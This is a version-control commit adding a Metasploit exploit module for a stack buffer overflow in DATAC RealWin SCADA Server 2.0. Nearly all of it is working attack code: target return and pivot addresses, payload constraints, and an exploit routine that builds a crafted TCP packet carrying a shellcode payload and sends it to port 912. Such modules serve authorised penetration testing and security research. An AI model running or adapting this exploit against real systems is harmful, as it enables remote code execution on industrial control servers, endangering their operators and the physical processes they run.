added exploit module realwin_10.rb

git-svn-id: file:///home/svn/framework3/trunk@11067 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/scada/realwin_10.rb

@@ -0,0 +1,79 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GreatRanking
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in DATAC Control
+				International RealWin SCADA Server 2.0 (Build 6.1.8.10).
+				By sending a specially crafted packet,
+				an attacker may be able to execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.metasploit.com/users/mc' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 550,
+					'BadChars' => "\x00\x20\x0a\x0d",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
+				],
+			'DefaultTarget' => 0,
+			'DisclosureDate' => 'Nov 18 2010'))
+
+		register_options([Opt::RPORT(912)], self.class)
+	end
+
+	def exploit
+
+		connect
+
+		data =  [0x6a541264].pack('V')
+		data << [0x00000010].pack('V')
+		data << [0x00001ff4].pack('V')
+		data << rand_text_alpha_upper(164)
+		data << [target['Pivot']].pack('V')
+		data << rand_text_alpha_upper(16)
+		data << [target.ret].pack('V')
+		data << payload.encoded
+		data << rand_text_alpha_upper(10024 - payload.encoded.length)
+
+		print_status("Trying target #{target.name}...")
+		sock.put(data)
+
+		handler
+		disconnect
+
+	end
+
+end